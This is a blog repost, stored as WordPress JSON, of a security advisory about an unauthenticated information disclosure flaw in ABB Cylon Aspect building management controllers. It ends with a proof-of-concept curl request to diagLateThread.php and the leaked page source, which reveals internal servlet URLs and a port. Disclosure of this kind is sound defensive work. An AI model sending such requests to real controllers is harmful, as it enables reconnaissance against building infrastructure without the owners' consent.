{"id":60571,"date":"2024-12-03T03:39:57","date_gmt":"2024-12-03T00:39:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182908\/ZSL-2024-5864.txt"},"modified":"2024-12-03T03:39:57","modified_gmt":"2024-12-03T00:39:57","slug":"abb-cylon-aspect-3-08-01-diaglatethread-php-information-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/abb-cylon-aspect-3-08-01-diaglatethread-php-information-disclosure\/","title":{"rendered":"ABB Cylon Aspect 3.08.01 diagLateThread.php Information Disclosure"},"content":{"rendered":"<p>ABB Cylon Aspect 3.08.01 (diagLateThread.php) Information Disclosure<\/p>\n<p>Vendor: ABB Ltd.<br \/>Product web page: https:\/\/www.global.abb<br \/>Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio<br \/>Firmware: &lt;=3.08.01<\/p>\n<p>Summary: ASPECT is an award-winning scalable building energy management<br \/>and control solution designed to allow users seamless access to their<br \/>building data through standard building protocols including smart devices.<\/p>\n<p>Desc: The ABB BMS\/BAS controller suffers from an unauthenticated information<br \/>disclosure vulnerability. An unauthorized attacker can reference the affected<br \/>page and disclose various protocol thread information running on the device.<\/p>\n<p>Tested on: GNU\/Linux 3.15.10 (armv7l)<br \/>GNU\/Linux 3.10.0 (x86_64)<br \/>GNU\/Linux 2.6.32 (x86_64)<br \/>Intel(R) Atom(TM) Processor E3930 @ 1.30GHz<br \/>Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz<br \/>PHP\/7.3.11<br \/>PHP\/5.6.30<br \/>PHP\/5.4.16<br \/>PHP\/4.4.8<br \/>PHP\/5.3.3<br \/>AspectFT Automation Application Server<br \/>lighttpd\/1.4.32<br \/>lighttpd\/1.4.18<br \/>Apache\/2.2.15 (CentOS)<br \/>OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)<br \/>OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)<\/p>\n<p>Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>@zeroscience<\/p>\n<p>Advisory ID: ZSL-2024-5864<br \/>Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2024-5864.php<\/p>\n<p>21.04.2024<\/p>\n<p>&#8212;<\/p>\n<p>$ cat project<\/p>\n<p>P R O J E C T<\/p>\n<p>.|<br \/>| |<br \/>|&#8217;| ._____<br \/>___ | | |. |&#8217; .&#8212;&#8220;|<br \/>_ .-&#8216; &#8216;-. | | .&#8211;&#8216;| || | _| |<br \/>.-&#8216;| _.| | || &#8216;-__ | | | || |<br \/>|&#8217; | |. | || | | | | || |<br \/>____| &#8216;-&#8216; &#8216; &#8220;&#8221; &#8216;-&#8216; &#8216;-.&#8217; &#8216;` |____<br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <\/p>\n<p>$ curl -s http:\/\/192.168.73.31\/diagLateThread.php | findstr \/spina:d &#8220;Summary Thread&#8221;<br \/>7: &lt;title&gt;Thread Class Status&lt;\/title&gt;<br \/>47: #ProjectThreadStatus {<br \/>127: var url =&#8217;\/\/192.168.73.31\/jsonProxy.php?port=7226&amp;application=StatusServlet&amp;query=showTimerThreadPoolStatus%3Dtrue%26descending%3Dtrue%26responseFormat%3Djson&#8217;;<br \/>128: var directUrl =&#8217;\/\/192.168.73.31:7226\/servlets\/StatusServlet?showTimerThreadPoolStatus=true&amp;descending=true&amp;responseFormat=json&#8217;;<br \/>203: $.getJSON(url, processThreadInfo);<br \/>204: \/\/$.getJSON(directUrl, processThreadInfo);<br \/>248: \/\/infoText = &#8220;&lt;div&gt;&lt;h2 class=&#8217;summaryHeading&#8217;&gt;&#8221;+targetClass+&#8221; Class Summary&lt;\/h2&gt;&lt;\/div&gt;&lt;div class=&#8217;hideable&#8217;&gt;&lt;div class=&#8217;summaryInfo&#8217;&gt;&lt;\/div&gt;<br \/>306: function processThreadInfo(json) {<br \/>308: getClassStats(json, PUP_STR, pupLateTime, &#8220;PUPLateTable&#8221;, &#8220;pupSummary&#8221;);<br \/>309: getClassStats(json, BACNET_STR, bacnetLateTime, &#8220;BACnetLateTable&#8221;, &#8220;bacnetSummary&#8221;);<br \/>310: getClassStats(json, SDP_STR, sdpLateTime, &#8220;SDPLateTable&#8221;, &#8220;sdpSummary&#8221;);<br \/>311: getClassStats(json, SCHEDULE_STR, scheduleLateTime, &#8220;ScheduleLateTable&#8221;, &#8220;scheduleSummary&#8221;);<br \/>312: getClassStats(json, DEFAULT_STR, defaultLateTime, &#8220;DefaultLateTable&#8221;, &#8220;defaultSummary&#8221;);<br \/>315: $(&#8220;#ProjectThreadStatus&#8221;).empty();<br \/>316: $(&#8220;#ProjectThreadStatus&#8221;).append(&#8220;&lt;div class=&#8217;ThreadDiv&#8217;&gt;&lt;h2&gt;Thread Status at &#8221; + systemTime.toTimeString() + &#8220;&lt;\/h2&gt;&lt;\/div&gt;&#8221;);<br \/>317: $(&#8220;#ProjectThreadStatus&#8221;).append(&#8220;&lt;div class=&#8217;ThreadDiv&#8217;&gt;Total Timers: &#8221; + json.totalTimers + &#8220;&lt;\/div&gt;&#8221;);<br \/>318: $(&#8220;#ProjectThreadStatus&#8221;).append(&#8220;&lt;div class=&#8217;ThreadDiv&#8217;&gt;Total Targets: &#8221; + json.totalTargets + &#8220;&lt;\/div&gt;&#8221;);<br \/>323: var warningTime = (timebase * 1000) * threadWarnPercent;<br \/>324: var errorTime = (timebase * 1000) * threadErrorPercent;<br \/>534: &lt;div id=&#8221;ProjectThreadStatus&#8221;&gt;&lt;\/div&gt;<br \/>537: &lt;div class=&#8217;infoSection ThreadDiv&#8217; id=&#8221;bacnetInfo&#8221;&gt;<br \/>538: &lt;div id=&#8221;bacnetHeading&#8221;&gt;&lt;h2&gt;BACnet Summary&lt;\/h2&gt;<br \/>541: &lt;div id=&#8221;bacnetSummary&#8221;&gt;&lt;\/div&gt;<br \/>550: &lt;div class=&#8217;infoSection ThreadDiv&#8217; id=&#8221;pupInfo&#8221;&gt;<br \/>551: &lt;div id=&#8221;pupHeading&#8221;&gt;&lt;h2&gt;PUP Summary&lt;\/h2&gt;<br \/>554: &lt;div id=&#8221;pupSummary&#8221;&gt;&lt;\/div&gt;<br \/>563: &lt;div class=&#8217;infoSection ThreadDiv&#8217; id=&#8221;sdpInfo&#8221;&gt;<br \/>564: &lt;div id=&#8221;sdpHeading&#8221;&gt;&lt;h2&gt;SDP Summary&lt;\/h2&gt;<br \/>567: &lt;div id=&#8221;sdpSummary&#8221;&gt;&lt;\/div&gt;<br \/>576: &lt;div class=&#8217;infoSection ThreadDiv&#8217; id=&#8221;scheduleInfo&#8221;&gt;<br \/>577: &lt;div id=&#8221;scheduleHeading&#8221;&gt;&lt;h2&gt;Schedule Summary&lt;\/h2&gt;<br \/>580: &lt;div id=&#8221;scheduleSummary&#8221;&gt;&lt;\/div&gt;<br \/>589: &lt;div class=&#8217;infoSection ThreadDiv&#8217; id=&#8221;defaultInfo&#8221;&gt;<br \/>590: &lt;div id=&#8221;defaultHeading&#8221;&gt;&lt;h2&gt;Default Summary&lt;\/h2&gt;<br \/>593: &lt;div id=&#8221;defaultSummary&#8221;&gt;&lt;\/div&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>ABB Cylon Aspect 3.08.01 (diagLateThread.php) Information Disclosure Vendor: ABB Ltd.Product web page: https:\/\/www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-StudioFirmware: &lt;=3.08.01 Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices. Desc: The ABB BMS\/BAS controller suffers from &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60571","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60571"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60571\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}